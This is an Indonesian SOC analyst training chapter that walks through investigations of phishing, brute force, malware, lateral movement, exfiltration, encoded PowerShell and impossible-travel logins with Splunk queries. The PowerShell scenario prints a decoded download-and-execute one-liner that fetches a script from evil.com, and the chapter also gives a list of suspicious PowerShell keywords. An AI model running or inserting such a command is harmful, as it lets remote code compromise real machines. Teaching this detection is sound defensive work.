Advanced

BAB 4 HANDS-ON SCENARIOS

04

Skenario: Analisis Phishing Email

Alert: Email Gateway mendeteksi email mencurigakan yang lolos filter dan diterima oleh 5 user.

Step 1: Analisis Header

From: "Microsoft Support" <[email protected]> Reply-To: [email protected] Subject: [URGENT] Your account has been compromised - Verify Now Return-Path: <[email protected]> Received: from mail.mail-secure-check.xyz [185.234.72.11] Authentication-Results: spf=fail; dkim=none; dmarc=fail Red Flags: ✗ Domain typosquatting: "micr0soft" (angka 0 bukan huruf o) ✗ Reply-To berbeda dari From ✗ SPF fail, DKIM none, DMARC fail ✗ Subject menggunakan urgency tactic ✗ Return-Path dari domain berbeda

Step 2: Analisis Konten

Step 3: Cek Dampak

// Query SIEM cari siapa yang klik link: index=proxy url="*secure-verify.xyz*" | stats count by src_ip, user, url, action | sort -count // Hasil: 2 dari 5 user mengklik link // User: john.doe dan jane.smith

Step 4: Tindakan

Skenario: Investigasi Brute Force

Alert: SIEM mendeteksi 500+ failed login (Event ID 4625) dalam 5 menit dari single IP ke domain controller.

Step 1: Query SIEM

// Splunk SPL Analisis detail: index=windows sourcetype=WinEventLog:Security EventCode=4625 src_ip="10.20.30.50" | stats count by Account_Name, Failure_Reason, Logon_Type | sort -count // Hasil: // Account: administrator 200 attempts "Bad password" // Account: admin 150 attempts "Bad password" // Account: svc_backup 100 attempts "Bad password" // Account: root 50 attempts "No such user" // Logon_Type: 3 (Network) dan 10 (RDP)

Step 2: Konteks

// Cek apakah ada successful login setelah brute force: index=windows EventCode=4624 src_ip="10.20.30.50" | table _time, Account_Name, Logon_Type, Workstation_Name // KRITIS: Jika ada Event 4624 setelah 4625 berulang // → Brute force BERHASIL → eskalasi segera!

Step 3: Enrichment

Step 4: Keputusan & Aksi

Skenario Aksi
Brute force gagal, IP external Block IP di firewall, close tiket
Brute force gagal, IP internal Investigasi workstation, cek malware, eskalasi L2
Brute force berhasil CRITICAL Disable account, isolasi host, eskalasi L2 segera

Skenario: Investigasi Malware Infection

Alert: EDR mendeteksi executable mencurigakan di workstation HR-PC-042, membuat koneksi outbound ke IP yang diketahui sebagai C2 server.

Step 1: Informasi dari EDR

File: C:\Users\sarah\AppData\Local\Temp\svchost32.exe Hash: a1b2c3d4e5f6... (SHA256) Parent: WINWORD.EXE → cmd.exe → powershell.exe → svchost32.exe Network: Connection to 198.51.100.77:8443 (HTTPS) User: sarah.johnson Timestamp: 2024-03-15 09:32:14 UTC Red Flags: ✗ File "svchost32.exe" di folder Temp (legitimate svchost ada di System32) ✗ Parent process: Word → cmd → PowerShell → exe (classic macro malware chain) ✗ Koneksi HTTPS ke port non-standar 8443 ✗ Nama file meniru system process

Step 2: Enrichment

Step 3: Tindakan Segera

Skenario: Lateral Movement

Alert: Multiple Event ID 4648 (logon with explicit credentials) dari satu workstation ke beberapa server dalam waktu singkat.

Investigasi

// Query: Login dengan explicit credentials dari workstation mencurigakan index=windows EventCode=4648 src_host="WS-DEV-018" | stats count by Account_Name, dest_host, dest_port | sort -count // Hasil: // admin_svc → DC01 (port 445/SMB) 3 attempts // admin_svc → FILE-SRV-01 (port 445) 2 attempts // admin_svc → DB-SRV-02 (port 445) 1 attempt // admin_svc → BACKUP-01 (port 3389) 1 attempt

Indikator Lateral Movement

Aksi

Skenario: Data Exfiltration

Alert: DLP (Data Loss Prevention) mendeteksi upload file besar ke cloud storage yang tidak disetujui (personal Google Drive).

Investigasi

// Query proxy logs: index=proxy user="mike.chen" url="*drive.google.com/upload*" | stats sum(bytes_out) as total_upload by user, src_ip, url | eval total_MB = round(total_upload/1024/1024, 2) // Hasil: mike.chen uploaded 2.4 GB ke personal Google Drive // Jam: 23:47 (di luar jam kerja) // File: customer_database_export.zip, financial_Q4_2024.xlsx

Analisis Konteks

Aksi

Skenario: Suspicious PowerShell Execution

Alert: Sysmon Event ID 1 mendeteksi PowerShell dengan encoded command dari proses Word.
// Sysmon Event ID 1 Process Creation: ParentImage: C:\Program Files\Microsoft Office\WINWORD.EXE Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAA... Red Flags: ✗ Word spawning PowerShell → classic macro attack ✗ -NoP (NoProfile) skip profile loading ✗ -NonI (NonInteractive) no user interaction ✗ -W Hidden (WindowStyle Hidden) hide window ✗ -Enc (EncodedCommand) Base64 encoded payload

Decode Base64 Command

# Decode di CyberChef atau PowerShell: [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("SQBFAFgAIAAoAE4AZ...")) # Hasil decode: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1') // IEX = Invoke-Expression → download dan langsung eksekusi script dari internet // Ini adalah textbook malware delivery via macro!

Aksi

PowerShell Red Flags untuk L1: -EncodedCommand, -Exec Bypass, -NoProfile, -WindowStyle Hidden, IEX, Net.WebClient, DownloadString, DownloadFile, Invoke-Expression, Start-BitsTransfer, [Convert]::FromBase64String

Skenario: Impossible Travel Login

Alert: User "[email protected]" login dari Jakarta, Indonesia pada 14:00 UTC, lalu login dari Moscow, Russia pada 14:12 UTC.

Analisis

Jarak Jakarta–Moscow ~7,700 km. Waktu antara kedua login: 12 menit. Tidak mungkin seseorang bepergian sejauh itu dalam 12 menit → Impossible Travel.

Sebelum Eskalasi Eliminasi False Positive

Cek Kemungkinan FP Cara Verifikasi
VPN User mungkin pakai VPN yang exit di Russia Cek VPN logs, tanya user
Cloud Sync App/token yang sync otomatis dari device lain Cek user-agent, app name
Shared Account Akun dipakai bersama (melanggar kebijakan) Konfirmasi dengan user
IP Geolocation Error Database geolocation tidak akurat Cek multiple geolocation sources

Jika True Positive

← Beranda Bab Selanjutnya →